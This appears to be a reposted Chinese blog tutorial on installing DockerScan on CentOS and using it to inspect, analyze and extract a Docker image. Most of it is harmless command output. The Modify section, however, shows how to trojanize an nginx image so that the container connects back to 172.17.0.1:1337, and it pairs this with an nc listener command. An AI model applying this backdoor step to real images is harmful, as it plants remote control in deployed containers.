Docker安全掃描工具之DockerScan


前言

  本篇簡單介紹Docker掃描工具DockerScan的安裝使用。下述過程是在CentOS 7.6的虛擬機上進行的。

[root@localhost ~]# cat /etc/redhat-release                                                                                     
CentOS Linux release 7.6.1810 (Core)   

Docker安裝

  安裝過程請參考

安裝Python3

  CentOS 7.6默認自帶python 2.7.5。

[root@localhost ~]# python --version
Python 2.7.5

  CentOS的軟件版本都比較老,DockerScan需python 3支持,使用yum命令直接安裝即可。

[root@localhost ~]# yum install python3 -y              # 安裝python3 
[root@localhost ~]# python3 --version                 # 查看python3 版本       
Python 3.6.8
[root@localhost ~]# pip3 --version                   # 查看pip3版本
pip 9.0.3 from /usr/lib/python3.6/site-packages (python 3.6)

DockerScan安裝

  使用pip3即可直接下載安裝DockerScan,十分方便。

[root@localhost ~]# pip3 install dockerscan
WARNING: Running pip install with root privileges is generally not a good idea. Try `pip3 install --user` instead.
Requirement already satisfied: dockerscan in /usr/local/lib/python3.6/site-packages
Requirement already satisfied: click==6.7 in /usr/local/lib/python3.6/site-packages (from dockerscan)
Requirement already satisfied: booby-ng==0.8.4 in /usr/local/lib/python3.6/site-packages (from dockerscan)
Requirement already satisfied: requests==2.13.0 in /usr/local/lib/python3.6/site-packages (from dockerscan)
Requirement already satisfied: colorlog==2.10.0 in /usr/local/lib/python3.6/site-packages (from dockerscan)
Requirement already satisfied: python-dxf==4.0.1 in /usr/local/lib/python3.6/site-packages (from dockerscan)
Requirement already satisfied: six in /usr/local/lib/python3.6/site-packages (from booby-ng==0.8.4->dockerscan)
Requirement already satisfied: ecdsa>=0.13 in /usr/local/lib/python3.6/site-packages (from python-dxf==4.0.1->dockerscan)
Requirement already satisfied: www-authenticate>=0.9.2 in /usr/local/lib/python3.6/site-packages (from python-dxf==4.0.1->dockerscan)
Requirement already satisfied: jws>=0.1.3 in /usr/local/lib/python3.6/site-packages (from python-dxf==4.0.1->dockerscan)
Requirement already satisfied: tqdm>=4.10.0 in /usr/local/lib/python3.6/site-packages (from python-dxf==4.0.1->dockerscan)

測試鏡像

  我們可以使用一些鏡像Hub里的Docker鏡像進行測試。

[root@localhost docker]# pwd
/root/docker
[root@localhost docker]# ls
[root@localhost docker]# docker pull mysql      # 拉取mysql docker鏡像
Using default tag: latest
latest: Pulling from library/mysql
80369df48736: Pull complete 
e8f52315cb10: Pull complete 
cf2189b391fc: Pull complete 
cc98f645c682: Pull complete 
27a27ac83f74: Pull complete 
fa1f04453414: Pull complete 
d45bf7d22d33: Pull complete 
3dbac26e409c: Pull complete 
9017140fb8c1: Verifying Checksum 
b76dda2673ae: Download complete 
bea9eb46d12a: Download complete 
e1f050a38d0f: Download complete 
latest: Pulling from library/mysql
80369df48736: Pull complete 
e8f52315cb10: Pull complete 
cf2189b391fc: Pull complete 
cc98f645c682: Pull complete 
27a27ac83f74: Pull complete 
fa1f04453414: Pull complete 
d45bf7d22d33: Pull complete 
3dbac26e409c: Pull complete 
9017140fb8c1: Pull complete 
b76dda2673ae: Pull complete 
bea9eb46d12a: Pull complete 
e1f050a38d0f: Pull complete 
Digest: sha256:7345ce4ce6f0c1771d01fa333b8edb2c606ca59d385f69575f8e3e2ec6695eee
Status: Downloaded newer image for mysql:latest
docker.io/library/mysql:latest
[root@localhost docker]# docker images           # 查看本地docker鏡像
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
mysql               latest              c8ee894bd2bd        5 days ago          456MB
[root@localhost docker]# docker save -o mysql.tar mysql    # 導出docker鏡像
[root@localhost docker]# ls
mysql.tar

DockerScan使用

說明

  目前DockerScan還沒有一些比較正式的官方文檔,只能自己一邊摸索着使用了。

  幫助文檔:

[root@localhost ~]# dockerscan --help
Usage: dockerscan [OPTIONS] COMMAND [ARGS]...

Options:
  -v           Verbose output
  -d           enable debug
  -q, --quiet  Minimal output
  --version    Show the version and exit.
  -h, --help   Show this message and exit.

Commands:
  image     Docker images commands
  registry  Docker registry actions
  scan      Search for Open Docker Registries

  從上可以看到,目前主要支持三個命令:image、registry、scan。 【2019.10.22】

image命令

  可以使用dockerscan image --help查看子命令更細致的幫助文檔。

[root@localhost docker]# dockerscan image --help          # 查看幫助文檔
Usage: dockerscan image [OPTIONS] COMMAND [ARGS]...

  Docker images commands

Options:
  -h, --help  Show this message and exit.

Commands:
  analyze  looking for sensitive data from docker image      # 分析
  extract  extract docker image content                # 抽取docker鏡像內容 
  info     get docker image information                # 獲取docker鏡像信息
  modify   Modify a docker image commands               # 修改docker鏡像命令 

info

  使用info子命令查看docker鏡像信息。

[root@localhost docker]# dockerscan image info mysql.tar       # info查看docker鏡像信息
[ * ] Starting analyzing docker image...
[ * ] Selected image: 'mysql.tar'
[ * ] Analysis finished. Results:
[ * ] - Entry point:
[ * ]   > docker-entrypoint.sh              
[ * ] - Created date = 2019-10-17T04:48:41.532313415Z
[ * ] - Docker version = 18.06.1-ce              # docker版本信息
[ * ] - Cmd = mysqld
[ * ] - Environment:
[ * ]   > PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[ * ]   > GOSU_VERSION=1.7
[ * ]   > MYSQL_MAJOR=8.0      
[ * ]   > MYSQL_VERSION=8.0.18-1debian9             # mysqld的版本,當前最新版
[ * ] - Exposed ports:                      # 暴露的端口
[ * ]   > 3306:
[ * ]     + tcp
[ * ]   > 33060:
[ * ]     + tcp

  由上可知,關於docker鏡像的一些信息。

Analyze

[root@localhost docker]# dockerscan image analyze mysql.tar     # analyze分析docker鏡像
[ * ] Starting the analysis of docker image...
[ * ] Selected image: 'mysql.tar'
[ * ] Analysis finished. Results:
[ * ] - Running user = root                        # 功能有限,僅能分析出是以root運行

Extract

[root@localhost docker]# dockerscan image extract ./mysql.tar ./mysql # 提取鏡像文件
[ * ] Starting the extraction of docker image...
[ * ] Selected image: 'mysql.tar'
[ * ] Image content extracted
root@localhost docker]# ls mysql # mysql文件夾下就是典型的linux文件系統目錄結構 bin boot dev docker-entrypoint-initdb.d  entrypoint.sh  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var               
[root@localhost docker]# cat ./mysql/etc/passwd | head -3      # 查看/etc/passwd文件內容
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Modify

  modify子命令可以用來修改docker鏡像,如果某個惡意攻擊者在docker鏡像中加入一些惡意操作,並且如果被部署,則攻擊者能遠程控制這些docker容器。

  如修改導出nginx image文件導出為nginx-trojanized,每次運行該容器將連接172.17.0.1:1337。

# dockerscan image modify trojanize ./nginx.tar -l 172.17.0.1 -p 1337 -o nginx-trojanized      
# docker rmi nginx                          # 刪除nginx image
# docker load -i nginx-trojanized.tar       # 導入修改nginx-trojanized.tar 鏡像
# docker run nginx:latest              # 運行該鏡像

  另一端進行監聽1337端口:

# nc -v -k -l 172.17.0.1 1337

Misc

  Dockerscan 另外兩個子命令registry、scan沒有什么安全掃描功能。

  registry用於上傳下載image。

  scan暫不明使用方法,以及有何功能。

  總體上感覺,dockerscan的功能還不夠:).


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM